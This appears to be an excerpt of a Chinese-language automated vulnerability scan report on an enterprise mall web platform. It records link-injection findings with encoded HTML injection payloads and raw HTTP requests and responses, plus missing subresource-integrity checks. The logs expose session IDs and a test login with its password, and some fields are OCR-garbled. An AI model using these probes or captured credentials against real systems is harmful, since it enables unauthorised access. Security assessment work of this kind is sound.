URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	approvaltypeid (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=%22%27%3E%3CIMG+SRC%3D%22%2FWF XSR
F7897.html%22%3E&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openrestv
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:41 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF XSRF7897.html">"
```

变体-|2/2

差异: 参数 从以下位置进行控制: -至:

\\$22\\$27\\$3E\\$3CA+HREF\\$3D\\$22\\$2FWF_XSRF7899.html\\$22\\$3EInjected+Link\\$3C\\$2FA\\$3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=%22%27%3E%3CA+HREF%3D%22%2FWF XSRF
7899.html%22%3EInjected+Link%3C%2FA%3E&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:41 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF XSRF7899.html">Injected Link</A>"
```

问题 10 / 11 Toc

链接注入	(便于跨站请求伪造)
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageSize (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: 15 至:

%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF9132.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。

测试请求和响应:

GET /order/selectCmsOrderList/2?

```
pageNum=1&pageSize=%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF9132.html%22%3E&orderNo=&goodsname=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:32 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF XSRF9132.html">"
```

变体-|2/2

差异: 参数 从以下位置进行控制: 15 至:

%22%27%3E%3CA+HREF%3D%22%2FWF XSRF9134.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /order/selectCmsOrderList/2?
pageNum=1&pageSize=\$22\$27\$3E\$3CA+HREF\$3D\$22\$2FWF\_XSRF9134.html\$22\$3EInjected+Link\$3C\$2FA\$3E\&order=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&pageNum=1&page
No=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:32 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF_XSRF9134.html">Injected Link</A>"
```

问题 **11 / 11** Toc

链接注入	(便于跨站请求伪造)
严重性:	中
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageNum (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: ① 至:

%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF9193.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
/order/selectCmsOrderList/2?pageNum=%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF9193.html%22%3E&pageSize=1
5&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:35 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF XSRF9193.html">"
```

变体-|2/2

差异: 参数 从以下位置进行控制: ① 至:

%22%27%3E%3CA+HREF%3D%22%2FWF_XSRF9197.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。

测试请求和响应:

```
/order/selectCmsOrderList/2?pageNum=%22%27%3E%3CA+HREF%3D%22%2FWF XSRF9197.html%22%3EInjected+Lin
k%3C%2FA%3E&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
{\tt sessionId=} ff1 d64918 bd06 bf341 f084828 da4d7 d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:36 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF XSRF9197.html">Injected Link</A>"
```

问题 1 / 3

TOC

SRI (Subresource Integrity) 的检查	
严重性:	ft.
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	(Page)
风险:	在第三方服务器被破坏的情况下,站点的内容/行为将更改。
原因:	不支持子资源完整性。
固定值:	将每个第三方脚本/链接元素支持添加到 SRI(Subresource Integrity)。

差异:

推理: 第三方链接/脚本没有浏览器的完整性属性来确认它们未被破坏。

测试请求和响应:

```
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: \star
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
   <meta charset="utf-8">
<title>系统登录</title>
```

```
<meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
. . .
. . .
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
         color: red;
. . .
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
. . .
. . .
    <!-- END Modal Terms -->
```

问题 2 / 3 Toc

SRI (Subresource Integrity) 的检查	
严重性:	1E
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
实体:	index.html (Page)
风险:	在第三方服务器被破坏的情况下,站点的内容/行为将更改。
原因:	不支持子资源完整性。
固定值:	将每个第三方脚本/链接元素支持添加到 SRI(Subresource Integrity)。

差异:

推理: 第三方链接/脚本没有浏览器的完整性属性来确认它们未被破坏。

测试请求和响应:

```
GET /static/index.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
Cookie: enterpriseCode=SUNEEE; account=setest01; sessionId=c5b8689a1098705cd3ffdff0d57563a1;
enterpriseId=55; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 18149
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:24:54 GMT
<!DOCTYPE html>
<html class="no-js" lang="en" style="overflow: hidden;">
```

```
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <title>资源商城管理平台</title>
    <link rel="shortcut icon"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon/favicon.ico">
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/demo/css/styles.css">
    link rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/fixedColumns.bootstrap.min.css">
    k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    k href="http://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css"
rel="stylesheet">
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<div class="loading-animation se-loading"> <div class="bounce1"></div> <div class="bounce2"></div>
</div><div class="bounce3"></div></div>
<div id="page-wrapper">
    <div class="preloader themed-background">
        <h1 class="push-top-bottom text-light text-center"><strong>Pro</strong>UI</h1>
          <h3 class="text-light visible-lt-ie10"><strong>Loading..</strong></h3>
          <div class="preloader-spinner hidden-lt-ie10"></div>
        </div>
    </div>
    <div id="page-container" class="header-fixed-top sidebar-visible-lq sidebar-no-animations">
        <div id="sidebar">
          <!-- Sidebar Content -->
          <div class="sidebar-content">
          <!-- Brand -->
          <div class="account-box">
          <img class="nav-user-photo"</pre>
          src="http://sunui.scn.weilian.cn:128
. . .
. . .
    </div>
</div>
<!-- Scroll to top link, initialized in js/app.js - scrollToTop() -->
<a href="#" id="to-top"><i class="fa fa-angle-double-up"></i></a>
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/demo/js/plugins fix.js" type="text/javascript"</pre>
charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/demo/build/main.min.js" type="text/javascript"</pre>
charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/echarts/echarts.js"</pre>
type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/echarts/theme/macarons.js"</pre>
type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/echarts/theme/blue.js"</pre>
type="text/javascript" charset="utf-8"></script>
<!--<script src="http://sunui.scn.weilian.cn:12809/sys/getCommonConfig.js" type="text/javascript"
charset="utf-8"></script>-->
<script src="./js/getCommonConfig.js" type="text/javascript" charset="utf-8"></script>
<script src="http://sunui.scn.weilian.cn:12809/se/demo/build/se.min.js" type="text/javascript"</pre>
charset="utf-8"></script>
<!--<script src="http://sunui.scn.weilian.cn:12809/se/demo/js/custom.js" type="text/javascript"
charset="utf-8"></script>-->
<!--<script src="http://cdn.bootcss.com/require.js/2.3.3/require.min.js"></script>-->
. . .
. . .
. . .
```

问题 3 / 3 Toc

SRI (Subresource Integrity) 的检查	
严重性:	ft.
CVSS 分数:	5.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/login.html
实体:	login.html (Page)
风险:	在第三方服务器被破坏的情况下,站点的内容/行为将更改。
原因:	不支持子资源完整性。
固定值:	将每个第三方脚本/链接元素支持添加到 SRI(Subresource Integrity)。

变体-|1/2

差异:

推理: 第三方链接/脚本没有浏览器的完整性属性来确认它们未被破坏。

测试请求和响应:

```
POST /login.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/
\texttt{Cookie: sessionId=ee7290de32e02a6f31d21e51ab01d02b; enterpriseCode=SUNEEE; enterpriseId=55; enterpriseId
account=setest01; enterpriseLevel=1
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Content-Length: 38
Cache-Control: max-age=0
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Type: application/x-www-form-urlencoded
reminder-email=test%40altoromutual.com
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
  <meta charset="utf-8">
```

```
<title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
   <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
   <!-- Icons -->
   <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
   <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn</pre>
. . .
   <!-- END Icons -->
   <!-- Stylesheets -->
   <!-- Bootstrap is included in its original form, unaltered -->
<link rel="stylesheet" href="css/font-awesome.min.css"/>
   <link rel="stylesheet" href="css/build.css"/>
   <!-- Related styles of various icon packs and plugins -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
   <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   <!-- END Stylesheets -->
   <style>
       .error {
        color: red;
. . .
. . .
. . .
        body{background-color: #F2F4F4;}
        #login-background{background-color:#730000;}
   </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
   <-cript src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
   <!-- Login Background -->
. . .
   <!-- END Modal Terms -->
    <!-- jQuery, Bootstrap.js, jQuery plugins and Custom JS code -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/bootstrap/bootstrap.min.js"</pre>
```

变体-|2/2

差异: cookie 己从请求除去: ee7290de32e02a6f31d21e51ab01d02b

推理: 第三方链接/脚本没有浏览器的完整性属性来确认它们未被破坏。

测试请求和响应:

```
GET /login.html?login-username=setest01&login-password=123456&login-remember-me=on HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/login.html
Cookie: enterpriseCode=SUNEEE; enterpriseId=55; account=setest01; enterpriseLevel=1
Host: system-rest-enterprise.mall.xt.weilian.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:45 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
   <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
  <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
```

```
sizes="114x114">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:1280</pre>
. . .
   <!-- END Icons -->
   <!-- Stylesheets -->
   <!-- Bootstrap is included in its original form, unaltered -->
<link rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
   <link rel="stylesheet" href="css/build.css"/>
   <!-- Related styles of various icon packs and plugins -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
   <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   <!-- END Stylesheets -->
   <style>
       .error {
        color: red;
        body{background-color: #F2F4F4;}
        #login-background{background-color:#730000;}
   </style>
